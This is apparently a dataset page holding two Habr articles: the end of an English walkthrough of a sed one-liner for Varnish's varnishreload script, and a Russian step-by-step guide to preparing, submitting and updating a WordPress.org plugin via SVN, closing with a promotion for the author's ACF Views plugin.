> sed -En -f vcl-processor-1.sed vcl-example.vcl
// VCL.SHOW 0 1578 file with 3 spaces.vcl
// VCL.SHOW 0 1578 file.vcl
// VCL.SHOW 0 1578 file with TWOspaces.vcl
# step 2, only print out the file name
# using the “substitute” command with regex capture groups to print just that group
# and this is done only for the matches of the previous search
> cat vcl-processor-2.sed
\#// VCL.SHOW# {
s#.* [0-9]+ [0-9]+ (.*)$#\1#
p
}
> sed -En -f vcl-processor-2.sed vcl-example.vcl
file with 3 spaces.vcl
file.vcl
file with TWOspaces.vcl
# step 3, make sure to only get the first result
# same as with the awk before, add an immediate exit after the first processed match is printed
> cat vcl-processor-3.sed
\#// VCL.SHOW# {
s#.* [0-9]+ [0-9]+ (.*)$#\1#
p
q
}
> sed -En -f vcl-processor-3.sed vcl-example.vcl
file with 3 spaces.vcl
# step 4, wrap it up into a one-liner using the colon to separate commands
> sed -En -e '\#// VCL.SHOW#{s#.* [0-9]+ [0-9]+ (.*)$#\1#p;q;}' vcl-example.vcl
file with 3 spaces.vcl
```
So, the contents of the varnishreload script would look something like this:
```
VCL_FILE="$(echo "$VCL_SHOW" | sed -En '\#// VCL.SHOW#{s#.*[0-9]+ [0-9]+ (.*)$#\1#p;q;};')"
```
The above logic may succinctly be expressed by:
if a line matches the regex `// VCL.SHOW`, then greedily match the text including the two numbers on that line and capture whatever comes after. Emit the capture and quit.
Simple, isn't it?
We were happy with the sed script and the fact what original code it replaces, all test runs I’ve done produced desired results, so I have modified the `varnishreload` on the server and fired the `systemctl reload varnish` once again. The dreaded `echo: write error: Broken pipe` was smiling in our faces. The blinking cursor awaited a new command entry in the dark void of the terminal… | https://habr.com/ru/post/475698/ | null | en | null |
# Как опубликовать свой плагин в репозиторий WordPress.org
Обзор
-----
Каждый, кто знаком с WordPress, пользуется плагинами с [его репозитория](https://wordpress.org/plugins/), это очень простой и удобный способ расширить стандартный функционал. Если вы разрабатывали или кастомизировали тему, то сколько раз вы копировали один и тот же код с предыдущего сайта на новый? Сколько раз вам приходила в голову идея, что ваша текущая фича была бы полезна и другим? Если данные мысли появлялись у вас, то в данной статье я пошагово, на примере покажу, что публикация плагина - задача абсолютно не сложная. Те, кто уже публиковал плагины, могут использовать эту статью в качестве шпаргалки для себя, а также я поделюсь парой подводных камней, на которые стоит обратить внимание.
### Часть 1. Создание плагина
Примечание. Если вы уже создавали WordPress плагин до этого (возможно для своих нужд, без публикации в репозитории), или знаете как это сделать, то смело пропускайте данный пункт.
В статья для примера я буду использовать свой плагин, [ACF Views](https://wordpress.org/plugins/acf-views/) (помогает вывести ACF поля на фронт без кодинга). По ходу статьи не забывайте заменять это имя на имя вашего плагина.
Для тех кто абсолютно не знаком, расскажу вкратце - WordPress плагины вашего сайта находятся в директории `/wp-content/plugins` и каждый плагин имеет там свою папку. Для создания плагина вам необходимо проделать еще меньше действий, чем при создании темы, вам необходимо всего лишь создать новую папку в директории `/wp-content/plugins` и один файл в ней (обычно имя файла совпадает с именем папки). В нашем примере это будет `acf-views/acf-views.php`.
В заголовке файла (выше любого кода) должен быть комментарий. Это обязательная часть любого плагина, необходимая чтобы WordPress узнал о плагине.
```
php
/*
Plugin Name: ACF Views
Description: The simplest way to display values from custom post fields anywhere on your site using shortcodes.
Version: 1.0.0
Author: WPLake
*/</code
```
(Каждая строка идет в формате “Имя: Значение”, если копируете, не забудьте поменять значения на ваши). Список всех опций смотрите [здесь](https://developer.wordpress.org/plugins/plugin-basics/header-requirements/).
Вот и все.
Ваш плагин уже создан, вы можете посетить админ панель и убедиться, что плагин отображается, также можете активировать его. Очевидно, что данный плагин не делает абсолютно ничего, по этому после комментария расположите ваш код (с уважением, ваш кэп), все ваши фичи. Главный файл плагина может включать (include/require) другие файлы, которые должны быть расположены в этой же папке. Подробности про разработку плагина выходят за рамки данной публикации, вы можете почитать подробнее [здесь](https://developer.wordpress.org/plugins/plugin-basics/).
### Часть 2. Подготовка плагина к публикации
На данном этапе у вас уже должен быть готов и протестирован (вами) плагин, которым вы хотите поделиться с миром. Теперь давайте займемся подготовкой его к публикации
#### 1. Проверьте имя плагина
Вам необходимо подобрать уникальное имя, которые не используется другими плагинами. Чтобы проверить свободно ли имя, подставьте его в ссылку <https://wordpress.org/plugins/search/my-plugin/> (вместо `my-plugin`) - если отобразится страница с результатами поиска (как в случае с `my-plugin`) - порядок, имя свободно. Если откроется страница плагина, как в случае с [ACF Views](https://wordpress.org/plugins/acf-views/) - вам необходимо подобрать новое имя.
#### 2. Заполните заголовки вашего главного файла
Заполните заголовки вашего главного файла по максимуму, требуемый минимум это : Имя плагина, Версия, и Автор. Список всех опций [здесь](https://developer.wordpress.org/plugins/plugin-basics/header-requirements/).
```
php
/*
Plugin Name: ACF Views
Plugin URI: https://wplake.org/acf-views/
Description: The simplest way to display values from custom post fields anywhere on your site using shortcodes.
Version: 1.0.8
Author: WPLake
Author URI: https://wplake.org
*/</code
```
#### 3. Создайте файл readme.txt
Этот файл - ваш главный способ предоставления информации о плагине людям. Данный файл будет парсится WordPress и именно его содержимое отображается на странице плагина (именно автоматический парсинг, у вас не будет панельки в wordpress.org где вы сможете править описание), т.е. все что вы запишите тут, будет отображаться на странице плагина, смотрите [ACF](https://wordpress.org/plugins/advanced-custom-fields/) к примеру.
Ниже пример `readme.txt` файла моего плагина, обязательные секции тут :
главная (с именем вашего плагина и данными про него), description (описание плагина) и changelog (краткое описание всех обновлений, для начала будет лишь одна строка)
```
=== ACF Views ===
Contributors: wplake
Tags: acf, display custom fields, acf views, shortcode, widget, custom fields in frontend, show acf fields, get field values, post, page, custom page, custom post
Requires at least: 5.5
Tested up to: 6.0
Requires PHP: 7.4
Stable tag: 1.0.8
License: GPLv2 or later
License URI: https://www.gnu.org/licenses/gpl-2.0.html
The simplest way to display values from custom post fields anywhere on your site using shortcodes. Don't need to write PHP code to get field values.
== Description ==
ACF Views is the simplest way to display values from custom post fields anywhere on your site using shortcodes. This means you don't need to write PHP code to get field values, and you don't need to read documentation about field's return formats.
The views are reusable and shortcodes can be pasted ANYWHERE that supports shortcodes (e.g. Gutenberg shortcode block) with ANY THEME and ANY PAGE BUILDER.
**Important!** ACF Views plugin requires an active Advanced Custom Fields PRO plugin.
== Changelog ==
= 1.0.1 (2021-06-09): =
- Screenshots, plugin's version
```
Список всех доступных опций для `readme.txt` [здесь](https://developer.wordpress.org/plugins/wordpress-org/how-your-readme-txt-works/).
С основными пунктами мы разобрались, а теперьпоговорим про сам код.
#### Требовани к коду плагина
[Здесь](https://developer.wordpress.org/plugins/wordpress-org/detailed-plugin-guidelines/) вы можете найти список всех требований, их около 2х десятков, однако самых важных по факту гораздо меньше :
#### Лицензия
Ваш код должен быть доступен по лицензии GPLv2 or Later (что означает, вы разрешаете использовать и модифицировать ваш код другим людям, при условии что они сохранят информацию об авторе (вас) и данные права (использовать и модифицировать) для других людей). В жизни это значит что вы не должны использовать куски кода с закрытой лицензией в вашем плагине, т.е. если вы написали спец. фичу на заказ, то прежде чем вставлять ее в свой плагин, спросите разрешения у заказчика, не будет ли он возражать.
#### Качество кода
Ваш код должен быть читабельным. Помните о том, что ваш код [вероятно] будут смотреть другие люди (как минимум чтобы понять как он работает, уточнить что-то или расширить его). Не используйте бессмысленные имена переменных, функций и классов, как `$asdre` или `function werlsdf()`. И в целом, будьте хорошим ~~человеком~~ кодером, пишите такой код, который хотели бы видеть в других плагинах.
#### Используйте безопасный вывод (echo)
Это очень важный момент, WordPress от плагинов требует ‘поздней’ очистки данных.
Что это значит на деле : допустим у нас есть `$_GET` переменная `email`, которую мы хотим вывести на странице. Вы вероятно сделаете так :
```
$email = sanitize_text_field($_GET['email']??'');
// ...
echo "### Hi, {$email}
";
```
и это будет ошибкой. По [правилам WordPress для плагинов](https://developer.wordpress.org/plugins/security/securing-output/) (которые созданы чтобы уменьшить количество плагинов с уязвимостями, благодаря которым так часто взламывают сайты на WP) независимо от того, очистили ли вы переменную до вывода, или нет, вы ОБЯЗАНЫ ‘очищать’ переменную также и в самом выводе. Т.е. использовать функции esc\_attr, esc\_html, и в данном случае код вывода должен быть:
```
echo sprintf("### Hi, %s
", esc_html($email));
```
Не ленитесь, сделайте поиск по ‘echo’ и проверьте весь ваш вывод, на стадии рассмотрения плагина это действительно проверяют, и если вы упустили данный момент, то вам об этом напишут, и рассмотрение будет приостановлено до того момента, пока вы не исправите это.
#### Composer пакеты
И еще одно правило, от меня лично. К сожалению WordPress на данный момент не предоставляет решения для общего использования composer зависимостей плагинами, таким образом один плагин может использовать одну версию какой-либо библиотеки, а второй плагин другую версию этой же библиотеки (и поверьте, это встречается чаще, чем вы могли бы предположить). В таком случае у пользователя будет критическая ошибка и сайт ляжет. Если вы используете composer пакеты в вашем плагине, то чтобы сделать использование вашего плагина неконфликтным, используйте [PHP-Scoper](https://github.com/humbug/php-scoper).
Если вкратце, то это утилита которая добавит ваше пространство имен во все файлы ваших зависимостей, и вместо `namespace Dependency\Folder;` будет `namespace YourNamespace\Dependency\Folder;` Таким образом возможный конфликт исключается, и одна и та же библиотека может находится в разных плагинах даже с разными версиями. PHP Scoper делает все это за вас автоматически, его установка и настройка не составят большого труда. Подробнее об использовании данной утилиты для WordPress плагина вы можете почитать [здесь](https://deliciousbrains.com/php-scoper-namespace-composer-depencies/).
Часть 3. Отправка заявки
------------------------
Наконец-то мы добрались до самого торжественного и волнующего момента. Время ~~штурмовать репозиторий WP~~ отправлять заявку на размещение вашего плагина в WordPress.org. Это абсолютно бесплатно и довольно просто.
Во первых вам необходимо зарегистрироваться на WordPress.org (если у вас еще нет аккаунта там), подтвердить email и после этого перейти на [страницу отправки заявки](https://wordpress.org/plugins/developers/add/).
Тут вы загружаете архив с вашим плагином (обычный архив, но с папкой вашего плагина, а не просто файлы плагина без общей папки), WordPress сделает парсинг архива и выведет имя вашего плагина, которое плагин будет иметь в репозитории, (в моем случае `acf-views`) и выдаст предупреждение, что имя вашего плагина с момента одобрения НИКОГДА не может быть изменено. Поэтому подумайте дважды прежде чем нажимать кнопку submit.
После отправки плагин пройдет ручную модерацию (обычно в течении 1-5 рабочих дней) и вы будете уведомлены про одобрение/отклонения вашей заявки. На деле если ваш плагин не вредоносный, и качество кода не выходит за рамки приличия, то отклонение вам не грозит.
Если модераторы заметят нарушения какого-либо требования (например в моем случае это было про безопасный вывод, я очищал переменные только в момент получения, вывод был обычный) то вам об этом подробно напишут, с просьбой исправить и отправить им исправленную версию плагина. Если вы следовали всем пунктам про подготовку плагина из данной статьи, то вопросов к вам не возникнет. Также хочу вас успокоить, что в любом случае общение с WP модераторами - всегда праздник (по крайней мере для меня xD). А если без шуток, то я действительно редко встречал такой уровень поддержки, если у вашего плагина будут замечены несоответствия, то все эти моменты будут отписаны вам и очень подробно детализированы, так что вы сразу поймете в чем дело. Такого случая, когда вам откажут в публикации или приостановят рассмотрение без толкового объяснения причин я еще не встречал, за что отдельный респект сообществу WP.
Часть 4. Первый коммит
----------------------
Вы отправили заявку, прошло несколько долгих рабочих дней (для вас они вероятно будут долгими) и вот вы наконец-то получили письмо, ~~приглашение в Хогвартс~~ сообщение которое говорит о том, что ваша заявка одобрена.
```
Congratulations, the plugin hosting request for ACF Views has been approved.
Within one (1) hour your account (X) will be granted commit access to your Subversion (SVN) repository.
* SVN URL: https://plugins.svn.wordpress.org/acf-views
* Public URL: https://wordpress.org/plugins/acf-views
Once your account access has been activated, you may upload your code using a SVN client of your choice. If you are new to SVN (or the Plugin Directory) make sure to review all the links in this email.
To answer some common questions:
* You must use SVN to upload your code -- we are unable to do that for you
* Your SVN username is X and your password is the same as you use to log in to WordPress.org
* Your username is case sensitive
* SVN will not accept your email address as a username
* Due to the size of the directory, it may take 72 hours before all search results are properly updated
To help you get started, here are some links:
Using Subversion with the WordPress Plugin Directory:
https://developer.wordpress.org/plugins/wordpress-org/how-to-use-subversion/
FAQ about the WordPress Plugin Directory:
https://developer.wordpress.org/plugins/wordpress-org/plugin-developer-faq/
WordPress Plugin Directory readme.txt standard:
https://wordpress.org/plugins/developers/#readme
A readme.txt validator:
https://wordpress.org/plugins/developers/readme-validator/
Plugin Assets (header images, etc):
https://developer.wordpress.org/plugins/wordpress-org/plugin-assets/
WordPress Plugin Directory Guidelines:
https://developer.wordpress.org/plugins/wordpress-org/detailed-plugin-guidelines/
Block Specific Plugin Guidelines:
https://developer.wordpress.org/plugins/wordpress-org/block-specific-plugin-guidelines/
If you have issues or questions, please reply to this email and let us know.
Enjoy!
--
The WordPress Plugin Directory Team
https://make.wordpress.org/plugins
```
В письме будет указан адрес вашего svn репозитория (не стоит пугаться, svn практически тот же git в использовании) и ссылка на страницу вашего плагина в WordPress.org. Письмо вы можете сохранить (для истории), но не бойтесь его потери, все ссылки в WordPress.org одинаковые, вам необходимо лишь помнить имя вашего плагина, и вы всегда сможете получить эти ссылки подставив ваше имя в ссылки ниже:
```
https://plugins.svn.wordpress.org/PLUGIN-NAME
https://wordpress.org/plugins/PLUGIN-NAME
```
Ну а имя ~~вашей первой любви~~ вашего первого плагина я убежден вы запомните на всю жизнь.
Итак, время открыть плагин общественности и сделать первый коммит. (Это делаете именно вы, а не команда WP.org, ваш плагин станет доступный для всех только после вашего первого коммита).
Итак, создаем папку и клонируем репозиторий (svn должен быть установлен) :
```
svn co http://plugins.svn.wordpress.org/YOUR_PLUGIN_NAME_HERE
```
Далее:
#### 1. Скопируйте файлы
Скопируйте файлы вашего плагина (без папки) в директорию `trunk` , создайте папку с вашей версией (вероятно 1.0.0) в директории `tags` и добавьте файлы вашего плагина туда.
#### 2. Выберите банер и иконку
Время задуматься про баннер (который отображается вверху страницы вашего плагина на WP.org) и иконку плагина (которая отображается в поиске WP.org возле имени вашего плагина). Это может быть любое изображение, на ваше усмотрение (в рамках приличия опять таки), вы можете добавить баннер в двух поддерживаемых разрешениях (772x250 и 1544x500) в папку `assets` с именем banner.
Это будут `banner-772x250.png` и `banner-1544x500.png` (или jpg). Иконка будет `icon-128x128.png` и `icon-256x256.png` (или jpg, svg).
#### 3. Добавьте файлы в svn
Добавляем файлы в svn командами :
```
svn add trunk/*
svn add tags/YOUR_VERSION_HERE
svn add assets/*
```
#### 5. Сделайте коммит
```
svn ci -m "v 1.0.0"
```
(Тут консоль спросит имя пользователя и пароль вашего WP.org аккаунта, введите чтобы авторизовать). Коммит займет некоторое время (svn не так быстр как git), поэтому придется немного подождать завершения команды.
Вот и все! Теперь вы можете посетить страницу вашего плагина, она доступна для всех, и можете устанавливать ваш плагин на любые WP сайты прямо из админ панели (через Добавить новый - поиск).
Дополнительно. Обновление плагина
---------------------------------
Через некоторое время вы [вероятно] захотите добавить фичи / сделать правки в ваш плагин. Для этого необходимо выпустить новую версию.
Подробнее про версионированиеВерсионирование используется обычное, и состоит из 3 цифр, как в npm или composer - Major.Minor.Patch.
К примеру в случае с `1.0.0`, при мелких изменениях мы увеличиваем только третью цифру, `1.0.1`, при добавлении новых фич или существенных обновлениях мы меняем вторую цифру : `1.1.0`, а при выпуске масштабных или ‘революционных’ изменений, мы обновляем первую цифру, `2.0.0`.
В npm/composer это используется для ограничения будущих обновлений, т.е. если вы используете версию `1.0.0` , то по умолчанию вы будете получать Minor и Patch обновления, но не Major, т.к. предполагается что в Major могут быть обратно несовместимые изменения. ОДНАКО В WP ТАКОГО НЕТ. Это значит что ВЫ ОБЯЗАНЫ обеспечивать обратную совместимость с прошлыми версиями. (Для этого есть специальные хуки, которые вызываются в процессе обновление, и могут быть использованы для обновления БД или других изменений, чтобы обеспечить переход с прошлой Major версии на новую, однако на данном этапе это вам не нужно).
Итак, для выпуска новой версии необходимо:
#### 1. Обновить файлы плагина
Обновите версию на новую в шапке вашего главного файла (“Version: X”) и обновите “Stable tag: YOUR\_VERSION\_HERE” в `readme.txt` на новую версию.
#### 2. Обновить файлы в svn репозитории
Обновите файлы плагина в папке `trunk`, создайте новую папку с номером вашей версии в папке `tags` (1.0.1 вероятно) и скопируйте файлы плагина также туда.
#### 3. Сделать коммит
Давайте сообщим svn про новые файлы и сделаем коммит:
```
// это команда должна быть выполнена до обновления trunk директории
svn delete trunk/* --force
// эти команды должны быть выполнены после обновления всех файлов
svn add trunk/*
svn add tags/{YOUR_VERSION_HERE}
svn ci -m "v YOUR_VERSION_HERE"
```
Имя коммита в общем-то может быть любым, но я рекомендую использовать версию вашего плагина в качестве описания.
Суммирую - в репозитории вы должны обновить директорию `trunk` (там всегда хранится последняя версия плагина) и добавить новую папку (с номером версии в качестве имени и файлами плагина внутри) в директорию `tags`.
В случае если вы хотите просто обновить информацию на странице плагина, новую версию можно не выпускать, а просто обновить `readme.txt` файл в `trunk` папке и сделать коммит.
Как вы заметили, svn репозиторий WordPress используется ТОЛЬКО для выпуска новых версий (т.е. является релиз репозиторием). Коммитить в него каждое ваше изменение, как в обычный git репозиторий нельзя! [Подробнее про использование репозитория](https://developer.wordpress.org/plugins/wordpress-org/how-to-use-subversion/). Это приведет к тому, что ваш репозиторий станет очень медленным, и будет занимать много места на WP.org. Для разработки вашего плагина создайте свой личный git репозиторий, где сможете вести разработку и коммитить сколь угодно часто, а svn репозиторий мы используем только для выпуска новых версий.
Надеюсь данная статья была полезной для вас, и развеяла мнение о том, что публикация своего плагина в WordPress это трудоемкий и долгий процесс. **Самое время сделать этот мир чуточку лучше и опубликовать свой плагин!**
Вместо P.S.
-----------
В данной статье в качестве примера я использовал свой плагин [ACF Views](https://wplake.org/acf-views/). Если кому-то интересно, продожайте чтение, ниже я вкратце расскажу про сам плагин. Это плагин-дополнение к Advanced Custom Fields (PRO версия ACF обязательна).
Вначале про проблемы, которые он решает.
Сам ACF очень удобный в использовании плагин, и уже стал по факту плагином, который по умолчанию входит в начальный пакет для разработки любого веб-сайта, однако каждый раз когда вы создаете новую группу и прикрепляете ее (в location) к какой-то странице или к CPT, то возникает вопрос, задача отобразить эти поля на фронте сайта.
Обычно это решается вручную (например в теме) - создается шорткод, который вставляет необходимые поля в разметку и выводит ее, и далее этот шорткод устанавливается на страницу/в CPT шаблон и все это стилизуется.
Однако есть ряд нюансов, таких как :
* каждый раз необходимо вручную править тему (обычно дочернюю)
* типов полей в ACF десятки, и каждый тип имеет различный return-format (который кроме типа поля еще зависит и от настроек конкретного поля, например изображение в зависимости от настроек вернет ID или массив с информацией про изображение), при создании разметки каждый тип необходимо правильно обработать, и это заставляет каждый раз смотреть оф. документацию чтобы уточнить формат конкретного поля...
* Для стилизации вывода обычно добавляют стили глобально, прямо в style.css темы (или в настройках темы, если она поддерживает такое). В результате такой код копится и это негативно влияет на скорость всего веб-сайта, не говоря уже про конфликты с другими элементами на различных страницах.
ACF Views упрощает жизнь и выводит ACF поля на фронт сам. После создания группы, вы создаете новое View, и выбираете какие поля вы хотите вывести, сохраняете View и получаете шорткод. Вставляете шорткод на страницу/CPT шаблон и вуаля, вывод готов.
Плагин автоматически генерирует разметку в зависимости от типа поля и его настроек (поддерживает множество типов и все return-форматы). Чтобы стилизовать вывод вы можете добавить стили прямо во View (есть специальное поле), эти стили будут выведены только на страницах, где есть данная View (не глобально), и разметка уже имеет классы по умолчанию (в BEM стиле), вы можете использовать их и даже не назначать свои классы (хотя такая опция тоже есть). Есть PRO версия, которая позволяет редактировать разметку (по прежнему не заботясь про типы полей и форматы), использовать repeater и создавать Gutenberg блоки c помощью View абсолютно без кодинга. (Держите промокод, специально для читателей хабра - **habr9**, по нему вы получите 20% скидку)
Переведено с разрешения правообладателя, оригинал на английском [здесь](https://wplake.org/blog/how-to-publish-your-own-wordpress-plugin/). | https://habr.com/ru/post/687348/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.